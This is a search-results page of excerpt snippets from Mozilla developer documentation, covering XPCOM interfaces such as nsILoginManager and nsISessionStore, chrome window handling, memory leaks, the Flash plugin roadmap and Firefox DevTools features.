web site, and, if not, creates one, adding it to the user's bookmarks toolbar. Finding the folder containing an item If you need to know what folder contains an item (this can be especially handy after using nsINavBookmarksService.getBookmarkIdsForURI() to find bookmarks for a given URI), you can use the nsINavBookmarksService.getFolderIdForItem() method. var parentFolderId = bmsvc.getFolderIdForI...
Resources
<< Previous This last section of the book provides a list of resources referred to in the tutorial and other links that may be useful to the Gecko developer. ...
... << Previous This last section of the book provides a list of resources referred to in the tutorial and other links that may be useful to the Gecko developer. ...
...This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.02 or later. Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. Distrib...
Components object
There may also be large incompatibilities between implementations and the behavior may change in the future. Warning: This object is only intended for code running with chrome privileges. Exposing the object to regular
web code was a mistake. If you use this object on your
web page, your site might break at any time! In current versions of Firefox only a few interfaces required for compatibility are still accessible. ...
... and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. Warning: This object is only intended for code running with chrome privileges. Exposing the object to regular
web code was a mistake. If you use this object on your
web page, your site might break at any time! In current versions of Firefox only a few interfaces required for compatibility are still accessible. Don't use Components! The Components object is the object through which XPConnect functionality is reflected into JavaScript. The Components object is actually a native instance of the nsIXPCComponents interface which is reflected into JavaScript as a top...
...ompatibility are still accessible. Don't use Components! The Components object is the object through which XPConnect functionality is reflected into JavaScript. The Components object is actually a native instance of the nsIXPCComponents interface which is reflected into JavaScript as a top level object using XPConnect. Some properties of Components require advanced privileges and may not work in
web pages. The Components object has the following members: classes array of classes by ContractID classesByID array of classes by CID Constructor constructor for constructor of components Exception constructor for XPConnect exceptions ID constructor for XPCOM nsIDs interfaces array of interfaces by interface name interfacesByID array of interf...
nsIContentPrefObserver
ntPrefRemoved(in AString aGroup, in AString aName); void onContentPrefSet(in AString aGroup, in AString aName, in nsIVariant aValue); Methods onContentPrefRemoved() Called when a content preference is removed. void onContentPrefRemoved( in AString aGroup, in AString aName ); Parameters aGroup The group to which the removed preference belonged; this may be the URI of a
web site. This value is null if the preference was global, applying to all
web sites. aName The name of the preference that was removed. onContentPrefSet() Called when the value of a preference is set (either by changing its current value or by creating the preference). void onContentPrefSet( in AString aGroup, in AString aName, in nsIVariant aValue ); Parameters aGroup The group to...
... aName The name of the preference whose value has changed. aValue The preference's new value. ...
...oved. onContentPrefSet() Called when the value of a preference is set (either by changing its current value or by creating the preference). void onContentPrefSet( in AString aGroup, in AString aName, in nsIVariant aValue ); Parameters aGroup The group to which the preference belongs; this may be the URI of a
web site. This value is null if the preference is global, applying to all
web sites. aName The name of the preference whose value has changed. aValue The preference's new value. See also nsIContentPrefService Using content preferences ...
Using nsILoginManager
To do so securely, they can use nsILoginManager, which provides for secure storage of sensitive password information and nsILoginInfo, which provides a way of storing login information. Getting nsILoginManager To get a component implementing nsILoginManager, use the following: var passwordManager = Components.classes["@mozilla.org/login-manager;1"].getService( Components.interfaces.nsILoginManager ); Most Login Manager functions take an nsILoginInfo object as a parameter. ...
... Components.interfaces.nsILoginManager ); Most Login Manager functions take an nsILoginInfo object as a parameter. An nsILoginInfo object contains the following attributes: hostname, form submit URL, HTTP realm, username, username field, password, and password field. The hostname, username and password attributes are mandatory, while the other fields are set based on whether the login is for a
web page form or an HTTP/FTP authentication site login. See the nsILoginInfo attribute definitions for more details. Defining an nsILoginInfo object is simple: var nsLoginInfo = new Components.Constructor( "@mozilla.org/login-manager/loginInfo;1", Components.interfaces.nsILoginInfo, "init" ); var loginInfo = new nsLoginInfo( hostname, formSubmitURL, httprealm, username, password, usernameFiel...
... the nsILoginInfo attribute definitions for more details. ...
nsIParserUtils
1.0 66 Introduced Gecko 13.0 Inherits from: nsISupports Last changed in Gecko 14.0 (Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11) Warning: Do not use this from within Gecko--use nsContentUtils, nsTreeSanitizer, and so on directly instead. ...
...ags); Constants Constant Value Description SanitizerAllowComments (1 << 0) Flag for sanitizer: Allow comment nodes. SanitizerAllowStyle (1 << 1) Flag for sanitizer: Allow <style> elements and style attributes (with contents sanitized in case of -moz-binding). Note: If -moz-binding is absent, properties that might be XSS risks in other
Web engines are preserved! SanitizerCidEmbedsOnly (1 << 2) Flag for sanitizer: Only allow cid: URLs for embedded content. At present, sanitizing CSS backgrounds, and so on., is not supported, so setting this together with SanitizerAllowStyle doesn't make sense. At present, sanitizing CSS syntax in SVG presentational attributes is not supported, so this option flattens o...
...er elements, use SanitizerAllowStyle. -moz-binding is removed from <style> elements and style attributes if present. In this case, properties that Gecko doesn't recognize can get removed as a side effect. Note: If -moz-binding is not present, <style> elements and style attributes, and if SanitizerAllowStyle is specified, the sanitized content may still be XSS dangerous if loaded into a non-Gecko
Web engine! AString sanitize( in AString src, in unsigned long flags ); Parameters src The HTML source to parse (C++ callers are allowed but not required to use the same string for the return value). flags Sanitization option flags defined above. Return value The resulting text. ...
nsIProtocolHandler
ision of what constitutes an automatic load is made externally, by the caller of nsIScriptSecurityManager.CheckLoadURI(). Typically, this flag is used by protocols that show highly untrusted content in a viewing area that the user expects to have a lot of control over, such as an email reader. URI_LOADABLE_BY_ANYONE 1<<6 Anyone can load the URIs for this protocol; for example, any
web site can load a URI for this protocol.
Web-safe protocols such as HTTP should use this flag. URI_DANGEROUS_TO_LOAD 1<<7 URIs using this protocol are unsafe if loaded by untrusted
web content and may only be loaded by privileged code (for example, code that has the system principal). Various internal protocols use this flag. URI_IS_UI_RESOURCE 1<<8 The URIs for this...
... URI_IS_LOCAL_FILE 1<<9 URIs for this protocol from other origins should only be allowed if those origins should have access to the local file system. It's up to the application to decide what origins should have such access. ...
... only be allowed if those origins should have access to the local file system. It's up to the application to decide what origins should have such access. Protocols like file that point to local data should set this flag. URI_LOADABLE_BY_SUBSUMERS 1<<14 The URIs for this protocol can be loaded only by callers with a principal that subsumes this uri. For example, privileged code and
websites that are same origin as this uri. URI_NON_PERSISTABLE 1<<10 Loading channels from this protocol has side-effects that make it unsuitable for saving to a local file. URI_DOES_NOT_RETURN_DATA 1<<11 Channels using this protocol never call OnDataAvailable() on the listener passed to AsyncOpen(), and therefore do not return any usable data. URI_I...
nsIScriptError
maintained in a single list anywhere in the code. This is an attempt to group them together for reference. Note that these are strings. If you want to log an error at chrome level you should set a Category from the first section (leaving it empty might log it as content error). As Addon author I would recommend using "chrome javascript" for logging exceptions caused by addon code. ...
...leaving it empty might log it as content error). As Addon author I would recommend using "chrome javascript" for logging exceptions caused by addon code. ...
...ntent Sink" "xbl javascript" "FrameConstructor" Categories the
Web Console displays "HUDConsole" "CSS Parser" "CSS Loader" "content javascript" "DOM Events" "DOM:HTML" "DOM Window" "SVG" "ImageMap" "HTML" "Canvas" "DOM3 Load" "DOM" "malformed-xml" "DOM Worker javascript" "Mixed Content Blocker" "CSP" "Invalid HSTS Headers" "Insecure Password Field" See also Using the
Web Console Error Console nsIConsoleMessage nsIScriptError2 ...
nsISessionStore
aIndex Is the index of the closed window to be removed (FIFO ordered). Return value Exceptions thrown NS_ERROR_INVALID_ARG When aIndex does not map to a closed window. getBrowserState() Returns the current state of all of windows and all of their tabs. AString getBrowserState(); Parameters None. Return value A JSON string representing the current state of all windows in the
web browser. getClosedTabCount() Returns the number of restorable tabs for a given window. unsigned long getClosedTabCount( in nsIDOMWindow aWindow ); Parameters aWindow The window whose restorable tab count should be returned. Return value The number of restorable tabs in the window. getClosedTabData() Returns a list of closed tabs for a specified window. AString getClosedTabData( ...
... Return value The string value that was previously assigned to aKey using nsISessionStore.setTabValue(), or an empty string if no value is set for that key. If the previously saved value was originally a complex data (ie a JavaScript object) it can then be deserialized using JSON.parse cf. nsISessionStore.setTabValue(). getWindowState() Returns the current state of one specified window in the
web browser. AString getWindowState( in nsIDOMWindow aWindow ); Parameters aWindow The browser window whose state is to be returned. See #Note on windows. Return value A JSON string representing a session state that contains only the window specified by aWindow. If the preference browser.sessionstate.enabled is false when this method is called, then you will get an exception about "aWind...
...is should be a value from 0 to one less than that returned by getClosedWindowCount(). The list of closed windows is stored in last in/first out (LIFO) order, so the window at index 0 is the last one that was closed. Return value Returns a reference to the reopened window as an nsIDOMWindow object. Note on windows The nsISessionStore API stores state information for certain windows inside the
web brower. These windows are nsIDOMWindow objects that contain the tabbrowser that users see as tabs; the document in these windows is browser.xul. For many extensions, those that overlay browser.xul, the appropriate window object for nsISessionStore is the global object 'window'. For JavaScript running in windows other than the one you want to use in nsISessionStore, you need a nsIDOMWindow objec...
nsIWindowCreator
embedding/base/nsIWindowCreator.idlScriptable A callback interface used by Gecko to create new browser windows. The application, either Mozilla or an embedding app, must provide an implementation of the Window Watcher component and notify the WindowWatcher during application initialization. Inherits from: nsISupports Last changed in Gecko 0.9.6 Method overview nsI
WebBrowserChrome createChromeWindow(in nsI
WebBrowserChrome parent, in PRUint32 chromeFlags); Methods createChromeWindow() Create a new window. Gecko will/may call this method, if made available to it, to create new windows. nsI
WebBrowserChrome createChromeWindow( in nsI
WebBrowserChrome parent, in PRUint32 chromeFlags ); Parameters parent The nsI
WebBrowserChrome of the parent window, if any. null if no pare...
...See also nsIWindowWatcher for more details. ...
...See also nsIWindowWatcher for more details. ...
nsIWindowWatcher
ey are created or destroyed, so only a weak reference is kept. Note that there is no interface for such notifications (not a public one, anyway). This is taken care of both in Mozilla and by common embedding code. Embedding clients need do nothing special about that requirement. This component must be initialized at application startup by calling setWindowCreator(). ...
...t an nsIDOMWindow; for example, if the active window is an alert. Methods getChromeForWindow() Retrieve the chrome window mapped to the given DOM window. nsIWindowWatcher keeps a list of all top-level DOM windows currently open, along with their corresponding chrome interfaces. Since DOM Windows lack a (public) means of retrieving their corresponding chrome, this method will do that. nsI
WebBrowserChrome getChromeForWindow( in nsIDOMWindow aWindow ); Parameters aWindow The nsIDOMWindow whose chrome window the caller needs. Return value An nsI
WebBrowserChrome object for the corresponding chrome window getNewAuthPrompter() Return a newly created nsIAuthPrompt implementation. nsIAuthPrompt getNewAuthPrompter( in nsIDOMWindow aParent ); Parameters aParent The parent...
...rguments as the base type, however ID, void and 64-bit primitive types are not currently supported and will reflect into window.arguments as null. nsIDOMWindow openWindow( in nsIDOMWindow aParent, in string aUrl, in string aName, in string aFeatures, in nsISupports aArguments ); Parameters aParent The parent window, if any. null if no parent. If it is impossible to get to an nsI
WebBrowserChrome from aParent, this method will effectively act as if aParent were null. aUrl The url to open in the new window. Must already be escaped, if applicable. Can be null. aName A window name assigned using Window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. If the name doesn't exist, then a new windo...
nsIXULWindow
contextFlags PRUint32 contextFlags are from nsIWindowCreator2. docShell nsIDocShell The docshell owning the XUL for this window. Read only. intrinsicallySized boolean Indicates if this window is instrinsically sized. primaryContentShell nsIDocShellTreeItem The primary content shell. Note: That this is a docshell tr...
...w aRelative, in boolean aScreen, in boolean aAlert ); Parameters aRelative If not null, the window relative to which the window is moved. See aScreen parameter for details. aScreen true to center the window relative to the screen containing aRelative if aRelative is not null. If aRelative is null then relative to the screen of the opener window if it was initialized by passing it to ns
WebShellWindow::Initialize. Failing that relative to the main screen. false to center it relative to aRelative itself (aRelative must be set in this case.) aAlert true to move the window to an alert position, generally centered horizontally and 1/3 down from the top. createNewWindow() Create a new window. nsIXULWindow createNewWindow( in PRInt32 aChromeFlags, in nsIAppShell aAppShell ); P...
...hat relative to the main screen. false to center it relative to aRelative itself (aRelative must be set in this case.) aAlert true to move the window to an alert position, generally centered horizontally and 1/3 down from the top. createNewWindow() Create a new window. nsIXULWindow createNewWindow( in PRInt32 aChromeFlags, in nsIAppShell aAppShell ); Parameters aChromeFlags See nsI
WebBrowserChrome. aAppShell The app shell passed to nsIAppShellService's CreateTopLevelWindow method. Return value The newly minted window. In the case of a content window, the function creates a browser window and waits for it to load. You can then load a document into the window's primary content shell. getContentShellById() The content shell specified by the supplied id. Note: That this is...
Setting HTTP request headers
In addition to the actual content, some important information is passed with HTTP headers for both HTTP requests and responses. You can add your own HTTP headers to any request the application makes, whether the request is initiated by your code explicitly opening an HTTP channel, because of XMLHttpRequest activity, an <img> element in content, or even from CSS. HTTP Channels When you deal with HTTP requests and responses, typically you are doing this with an nsIHttpChannel. The nsIHttpChannel interface has a number of properties and methods, but the method that is of interest to us is setRequestHeader. This method allows us to set an HTTP request header. ...
...By not advertising to all sites what extensions are installed this improves both privacy (this makes it harder to track a user known by his set of pl...
...(compMgr, fileSpec) { return myModule; } Privacy and security good practice A use case for setting specific a HTTP request header is to have a specific
web site be able to check if a specific plugin / addon / extension is installed. The good practice is not to have this specific HTTP header (for example "X-site.net-extension") sent all the time but only when doing requests with this specific
web sites. By not advertising to all sites what extensions are installed this improves both privacy (this makes it harder to track a user known by his set of plugins, addons and extensions) and security (some plugins, addons and extensions may be known to have flaws by attackers). With this privacy and security addition the code to use becomes: observe: function(subject, topic, data) { if (topic ...
Mozilla technologies
on on Mozilla specific implementation details of Assistive Technology APIs.Animated PNG graphicsAPNG is an extension of the Portable Network Graphics (PNG) format, adding support for animated images. ...
... of Assistive Technology APIs.Animated PNG graphicsAPNG is an extension of the Portable Network Graphics (PNG) format, adding support for animated images. APNG is a simpler alternative to MNG, providing a spec suitable for the most common usage of animated images on the Internet.DocShellDocshell is the second iteration of what originally started out as
WebShell. ...
...rtable Network Graphics (PNG) format, adding support for animated images. APNG is a simpler alternative to MNG, providing a spec suitable for the most common usage of animated images on the Internet.DocShellDocshell is the second iteration of what originally started out as
WebShell. ...
Working with windows in chrome code
teract with the content page. The content shortcut In case of <browser type="content-primary" />, you can use the content shortcut property to accesss the Window object of the content document. For example: // alerts the title of the document displayed in the content-primary widget alert(content.document.title); For example, you can use content.document in a browser.xul overlay to access the
web page in the selected tab in a Firefox window. Some examples use _content instead of content. The former has been deprecated for a while, and you should use content in the new code. Accessing a document in the sidebar Firefox has a sidebar, which is implemented as a <browser> element with id="sidebar". To access the elements and variables inside the sidebar, you need to use document.getElementB...
...ow myExtensionWindow where the child window is where your code runs in. Your task is to access elements above your chrome document, i.e. to break out of your chrome window and access the ancestors. This can be done using the following statement: var mainWindow = window.QueryInterface(Components.interfaces.nsIInterfaceRequestor) .getInterface(Components.interfaces.nsI
WebNavigation) .QueryInterface(Components.interfaces.nsIDocShellTreeItem) .rootTreeItem .QueryInterface(Components.interfaces.nsIInterfaceRequestor) .getInterface(Components.interfaces.nsIDOMWindow); This allows you to cross the chrome-content boundaries, and returns the main window object. Finding already opened windows T...
...eparate DOM documents and global objects for scripts, you can't just use one global JavaScript variable in scripts from different windows. There are several techniques of varying power and simplicity that can be used to share data. We'll demonstrate them from the simplest to the most complex in the next few sections. Note: if you want to pass data between privileged (chrome) and non-privileged (
web page) windows, or vice-versa, read this instead. Example 1: Passing data to window when opening it with openDialog When you open a window using window.openDialog or nsIWindowWatcher.openWindow, you can pass an arbitrary number of arguments to that window. Arguments are simple JavaScript objects, accessible through window.arguments property in the opened window. In this example, we're using win...
Zombie compartments
This page tells you how to detect and avoid zombie compartments, which are a particular kind of memory leak. They can be caused by bugs in Firefox itself, or by bugs in Firefox add-ons. Compartments Firefox's JavaScript memory is segregated into zones and compartments. Roughly speaking, all memory used by JavaScript code that is from a particular origin (i.e.
website) goes into its own compartment. Firefox's own JavaScript code also gets one or more compartments and so do add-on scripts. Multiple compartments can share a zone, where a zone keeps track of things that can easily and securely be shared between related compartments such as string data and type information. Viewing live compartments If you want to see a list of live compartments, type "about:memory" into the addres...
...nd securely be shared between related compartments such as string data and type information. Viewing live compartments If you want to see a list of live compartments, type "about:memory" into the address bar and click on the Measure button. In the results, you'll find a js-main-runtime-compartments tree (whcih you may need to expand further) that lists all system (Firefox and add-ons) and user (
website) compartments, These compartments are also listed in more detail in the Explicit Allocations section. That more fine-graned representation may look like this | +---28.45 MB (05.71%) -- top(https://www.google.de/, id=141) | | +--13.66 MB (02.74%) -- active/window(https://www.google.de/) | | | +---7.83 MB (01.57%) -- js-compartment(https://www.google.de/) | | | | +--3.56 MB (00.7...
...ment(about:home) js-compartment(about:blank) compartment([System Principal], resource://gre/modules/addons/XPIProvider.jsm) When looking at user compartments there are a couple of things to be aware of. First, many sites utilize scripts from other sites to provide advertisements, "like" and "+1" buttons, Twitter feeds, etc. So it's common for multiple compartments to be created for a single
web page. For example, if I open www.techcrunch.com the following compartments are created. compartment(http://techcrunch.com/) compartment(http://www.facebook.com/plugins/like.php?...) compartment(https://plusone.google.com/_/+1/fastbutton?...) compartment(http://platform.twitter.com/widgets/...utton.html?...) compartment(http://cdn.at.atwola.com/_media/uac/tcode3.html) compartment(https://...
Plugin Roadmap for Firefox - Plugins
The last remaining NPAPI plugin, Adobe Flash, has announced an end-of-life plan. To support the transition away from Flash, Firefox is working with other browsers to progressively and carefully make Flash usage less common. Below is the roadmap of past and future support for plugins in Firefox. Schedule June 2016 Starting with Firefox 47 in June 2016, all plugins other than Adobe Flash are click-to-activate. ...
... In order to improve security and performance, Mozilla will maintain a list of sites which cannot use any plugins. September 2017 Starting with Firefox 56 in September 2017, Firefox for Android will remove all support for plugins (bug 1381916). 2019 In September 2019, Firefox 69 will remove the "Always Activate" Flash option so we always ask for user permission before activating Flash on a
website. 2020 In December 2020, Flash support will be completely removed from consumer versions of Firefox. Adobe will stop shipping security updates for Flash at the end of 2020. See Also Mozilla Firefox October 2015 - NPAPI Plugins in Firefox July 2016 - Reducing Adobe Flash Usage in Firefox July 2017 - Firefox Roadmap for Flash End-of-Life Adobe Flash November 2015 - Flash, HTML5 an...
...2020 In December 2020, Flash support will be completely removed from consumer versions of Firefox. Adobe will stop shipping security updates for Flash at the end of 2020. ...
Color vision simulation - Firefox Developer Tools
"Color blindness" is a bit of a misnomer, since most people with these disorders can see colors, but do not see all of the distinctions that people with normal color vision can see; color vision deficiencies affect perception across the color spectrum, not only of specific colors like red or green. Color vision deficiencies affect about 8% of men, and 0.5% of women. ...
...umped together as "red-green color blindness") affect more men than women, because they are due to a mutation in a gene in the X chromosome, which men usually have only one copy of. Contrast sensitivity loss can be caused by cataracts, glaucoma, diabetic retinopathy, and other disorders of the retina; it can be age-related, congenital, or due to an injury. To enable this feature, you must have
webrender enabled; it may be enabled by default, depending on your configuration of Firefox. In the Firefox Configuration Editor, make sure the gfx.
webrender.all option is set to true. In the Simulate menu, you can choose one option at a time from the following list: None -- choose this to return to normal display Protanomaly (low red) Deuteranomaly (low green) Tritanomaly (low blue) Protano...
... In the Simulate menu, you can choose one option at a time from the following list: None -- choose this to return to normal display Protanomaly (low red) Deuteranomaly (low green) Tritanomaly (low blue) Protanopia (no red) Deuteranopia (no green) Tritanopia (no blue) Contrast loss These simulations are not completely medically accurate. However, they can give you a sense of what your
web site looks like to users with vision problems, and therefore help you judge whether you need to make adjustments in your color or contrast choices. The following table shows a colorful image of a cat's face, and what it looks like in the various simulations. Simulation Image displayed None Protanomaly (low red) Deuteranomaly (low green) ...
DOM Inspector - Firefox Developer Tools
The DOM hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within. This tool is an add-on for XUL-based applications such as Firefox and Thunderbird. If you are looking for the DOM inspector that's built into Firefox, see the documentation for the Page Inspector. Documentation Introduction to DOM Inspector A guided tutorial that will help you get started with DOM Inspector. ...
...orial that will help you get started with DOM Inspector. DOM Inspector FAQ Answers to common questions on DOM Inspector. DOM Inspector page at MozillaZine More information on the DOM Inspector. How to build the DOM Inspector Blog post on building the DOM Inspector from source. Getting DOM Inspector Firefox & Thunderbird You may download and install the DOM Inspector from the AMO
web site. (Thunderbird users browsing AMO in Firefox should save the installation link, or visit the DOM Inspector for Thunderbird page.) Thunderbird 2 DOM Inspector for Thunderbird 2 is available from Thunderbird Add-ons. Or, build Thunderbird yourself with the following options: ac_add_options --enable-extensions="default inspector" ac_add_options --enable-inspector-apis Mozilla Suite an...
...owsing AMO in Firefox should save the installation link, or visit the DOM Inspector for Thunderbird page.) Thunderbird 2 DOM Inspector for Thunderbird 2 is available from Thunderbird Add-ons. Or, build Thunderbird yourself with the following options: ac_add_options --enable-extensions="default inspector" ac_add_options --enable-inspector-apis Mozilla Suite and SeaMonkey Select Tools >
Web Development > DOM Inspector. You can install the Sidebar panel via Edit > Preferences > Advanced > DOM Inspector, then simply open up the inspector panel and visit a
website. Report a bug in DOM Inspector Use the conveniently named "DOM Inspector" component in Bugzilla. To find out who knows DOM Inspector code and where it lives, see the DOM Inspector module listing. ...
Source map errors - Firefox Developer Tools
as seen by the browser, with their original sources, as written by the developer. You can sometimes encounter problems working with source maps. This page explains the most common problems and how to fix them. Note: If you're new to source maps, you can learn more about them in How to use a source map. General source map error reporting If you do see a problem, a message will appear in the
webconsole. This message will show an error message, the resource URL, and the source map URL: Here, the resource URL tells us that bundle.js mentions a source map, and the source map URL tells us where to find the source map data (in this case, relative to the resource). The error tells us that the source map is not JSON data -- so we're serving the wrong file. There are a few common ways that ...
...t Original source missing An original source may be missing. You may encounter this when trying to open one of the original sources in the debugger. The message looks a little different in this case: In this case, the error will also be displayed in the source tab in the debugger: NetworkError when attempting to fetch resource A bug in Firefox prevents it from loading source maps for
web extensions. See Bug 1437937:
WebExtensions Doesn't Find Source Maps for details. Source-Map-Fehler: TypeError: NetworkError when attempting to fetch resource. Ressourcen-Adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js Source-Map-Adresse: background.js.map The only workaround is to manually change the map URL to a public one (http://localhost:1234/file.map.js) and ...
... ...
DevTools API - Firefox Developer Tools
Interface, each registered tool lives in its own tab (we call one tab a panel). These tabs are located in a box we call a Toolbox. A toolbox can be hosted within a browser tab (at the bottom or on the side), or in its own window (we say that the toolbox is undocked). A Toolbox (and all the tools it contains) is linked to a Target, which is the object the tools are debugging. A target is usually a
web page (a tab), but can be other things (a chrome window, a remote tab,...). In terms of code, each tool has to provide a ToolDefinition object. A definition is a JS light object that exposes different information about the tool (like its name and its icon), and a build method that will be used later-on to start an instance of this tool. The gDevTools global object provides methods to register a ...
...an, optional. If true the tool will be shown in the Developer Menu. Default: false menuLabel String, optional. A label for the Developer Menu item. Default: {label} accesskey String, optional. accesskey for the Developer Menu <xul:menuitem>. Example Here's a minimal definition for a tool. let def = { id: "my-tool", label: "My Tool", icon: "chrome://browser/skin/devtools/tool-
webconsole.svg", url: "about:blank", isTargetSupported: target => true, build: (window, toolbox) => new MyToolPanel(window, toolbox) }; // Register it. gDevTools.registerTool(def); TargetType FIXME: HostType FIXME ToolPanel The ToolPanel is an interface the toolbox uses to manage the panel of a tool. The object that ToolDefinition.build() returns should implement the methods described b...
...abbox> A sidebar is composed of tabs. Each tab will hold an iframe. For example, in the Inspector, there are 3 tabs (Computed View, Rule View, Layout View). The user can select the tab he wants to see. If the availability of the tabs depends on some tool-related conditions, we might want to not let the user select a tab. This API provides methods to hide the tabstripe. For example, in the
Web Console, there are 2 views (Network View and Object View). These views are only available in certain conditions controlled by the
WebConsole code. So it's up the
WebConsole the hide and show the sidebar, and select the correct tab. If the loaded document exposes a window.setPanel(ToolPanel) function, the sidebar will call it once the document is loaded. Method Description ...
Network request list - Firefox Developer Tools
When you refresh the page, that specific URL will be blocked and a message will be added to the item in the list indicating that it has been blocked by the DevTools. Stop blocking a URL from the Request List Hover over the item. Select Unblock URL. Now when you refresh the page, the item will once enabled. Note: (Starting in Firefox 80) You can also block and unblock URLs from the
Web Console, using the :block and :unblock helper commands. These accept any string, and affect any URL containing the string. Filtering requests You can filter requests by content type, by whether they are XMLHttpRequests or
WebSocket requests, or by request properties. Filter type How to apply Content type Use the buttons in the toolbar (HTML, CSS, JS). XHR ...
... These accept any string, and affect any URL containing the string. Filtering requests You can filter requests by content type, by whether they are XMLHttpRequests or
WebSocket requests, or by request properties. Filter type How to apply Content type Use the buttons in the toolbar (HTML, CSS, JS). XHR requests Use the XHR button in the toolbar.
WebSocket connections Use the WS button in the toolbar. You can filter by plain text (in which case the text is used to find partial matches; entering "for" will match any message that contains the word "for") or--as of Firefox 75--using regular expressions (by writing the regexp bracketed within slashes; "/.+Corp.*/" will look for any occurrence of "Corp" which has at least one character before i...
...ch case the text is used to find partial matches; entering "for" will match any message that contains the word "for") or--as of Firefox 75--using regular expressions (by writing the regexp bracketed within slashes; "/.+Corp.*/" will look for any occurrence of "Corp" which has at least one character before it and may or may not have any characters after it, for example). The third-party add-on
WebSocket Sniffer may be helpful as well. URL Use the Filter URLs box in the toolbar. You can focus it by clicking in the filter box, or by pressing Ctrl + F (or Cmd + F on a Mac); then start typing. The list of network requests is filtered to include only requests that contain your filter string, in either the Domain or the File portions. You can filter requests that don't ...
Examine and edit HTML - Firefox Developer Tools
after You can inspect pseudo-elements added using ::before and ::after: Custom element definition When you open the Inspector on a page that includes custom elements, you can view the class definition for the custom element in the Debugger: Inspect the element Click on the word custom The source for the element's class will be displayed in the Debugger. Whitespace-only text nodes
Web developers don't write all their code in just one line of text. They use white space such as spaces, returns, or tabs between their HTML elements because it makes markup more readable. Usually this white space seems to have no effect and no visual output, but in fact, when a browser parses HTML it will automatically generate anonymous text nodes for elements not contained in a node. This include...
...nt will be shown inside its corresponding <slot> element, with a "reveal" link alongside it. Clicking the "reveal" link will highlight the element with the slot attribute as it exists outside the shadow DOM This is very useful when you've got a <slot> element and you can't find the source of its content. Note: Shadow DOM inspection was implemented in Firefox 61, but was hidden behind the dom.
webcomponents.shadowdom.enabled pref until Firefox 63. It is now turned on by default. Element popup context menu You can perform certain common tasks on a specific node using a popup context menu. To activate this menu, context-click the element. The menu contains the following items -- click on the links to find the description of each command in the Context menu reference: Edit As HTML Crea...
...ately before this node. (Paste) After Paste the clipboard contents into the document immediately after this node. (Paste) As First Child Paste the clipboard contents into the document as the first child of this node. (Paste) As Last Child Paste the clipboard contents into the document as the last child of this node. Scroll Into View Scrolls the
web page so the selected node is visible. From Firefox 44, pressing the keyboard shortcut S will also scroll the selected node into view. Screenshot Node Takes a screenshot of the selected node, saved to your Downloads directory. See Taking screenshots. Create New Node Create a new empty <div> as the last child of the currently selected element. See Inserting new node...
Paint Flashing Tool - Firefox Developer Tools
The paint flashing tool, when activated, highlights the part of a page that the browser needs to repaint in response to some input: for example, the user moving the mouse or scrolling. With the help of this tool you can figure out whether your
website is causing the browser to repaint more than it needs to. Because repaints can be performance-intensive operations, eliminating unnecessary repaints can improve your
website's responsiveness. Repaints and responsiveness When the browser renders a
web page it parses the HTML and CSS, determines how to lay it out, and then paints it to actually display the content on the screen. Whenever an event happens that might change a visible part of the
web page then the browser must repaint some portion of the page. For example, a repaint will be needed ...
...The browser also splits its model of the page into layers that it expects will be updated independently of each other. Layers are painted independently and then composited, so a change in the appearance of one layer does not trigger a repaint in any other layers, and when only the relation of two layers changes (in an animation, for example) no repaints are required at all. The choices made by a
web developer can hinder the browser here, causing it to trigger more repaints, and for more of the screen, than necessary. This can then cause a site to be slow responding to user input (also known as "janky"). That's where the paint flashing tool helps: by showing you the areas that the browser repaints in response to an event, you can see whether it is repainting more than it needs to. Using the ...
...to each other, which is handled in composition: neither layer needs a repaint. In this case, with a simple style, the extra repaints don't make much of a difference. But if the style were computationally expensive to paint, they might. It's difficult to know what optimizations the browser will make to minimize repaints, and they are subject to change from one version to the next. So testing your
website with the paint flashing tool helps ensure that it's still performing optimally. ...
Frame rate - Firefox Developer Tools
Frame rate is a measure of a
website's responsiveness. A low or inconsistent frame rate can make a site appear unresponsive or janky, making for a bad user experience. A frame rate of 60fps is the target for smooth performance, giving you a time budget of 16.7ms for all the updates needed in response to some event. The frame rate graph in the Performance tool shows you the frame rate over the course of a recording. It gives you a quick indication of where your site might be having problems, enabling you to use the other tools for a more in-depth analysis. Frame rate and responsiveness Frame rate is the rate at which a video device can produce images (or frames). It's most familiar from film and gaming, but is now widely used as a performance measure for
websites and
web apps. I...
...e course of a recording. It gives you a quick indication of where your site might be having problems, enabling you to use the other tools for a more in-depth analysis. Frame rate and responsiveness Frame rate is the rate at which a video device can produce images (or frames). It's most familiar from film and gaming, but is now widely used as a performance measure for
websites and
web apps. In
web performance, a frame encapsulates the work the browser needs to do in order to update and repaint the screen. Frame rate is most obviously applicable to animations: if the frame rate is too low, an animation will have a jerky appearance, while a faster frame rate will be smoother. But frame rate is also useful as a general measure of a site's responsiveness as the user interacts with it. For exa...
...f the Performance tool. It takes a timestamp when the browser finishes a frame, and uses this to keep track of the frame rate over the course of the recording. The x-axis is time over the profile period, and there are three annotations: the maximum frame rate, the average frame rate, and the lowest frame rate. Using the frame rate graph The great value of the frame rate graph is that, like the
Web Console, it gives you a quick indication of where your site might be having problems, enabling you to use the other tools for more in-depth analysis. For example, here's a screenshot of a performance profile: You can see that the average frame rate is reasonably healthy, but there are three spots where frame rate collapses for tens of milliseconds. This would certainly cause a noticeable stutt...
Animating CSS properties - Firefox Developer Tools
border-width margin-left font-size Properties that don't affect geometry or position, but are not rendered in their own layer, do not trigger a layout. color Properties that are rendered in their own layer don't even trigger a repaint, because the update is handled in composition. transform opacity The CSS Triggers
website shows how much of the waterfall is triggered for each CSS property, with information for most CSS properties by browser engine. An example: margin versus transform In this section we'll see how the Waterfall can highlight the difference between animating using margin and animating using transform. The intention of this scenario isn't to convince you that animating using margin is always a...
...fference between animating using margin and animating using transform. The intention of this scenario isn't to convince you that animating using margin is always a bad idea. It's to demonstrate how the tools can give you insight into the work the browser is doing to render your site, and how you can apply that insight to diagnose and fix performance problems. If you want to play along, the demo
website is here. It looks like this: It has two controls: a button to start/stop the animation, and a radio group to choose to animate using margin, or to animate using transform. There are a number of elements, and we've added a linear-gradient background and a box-shadow to each element, because they are both relatively expensive effects to paint. There's also a video version of this walkthrough...
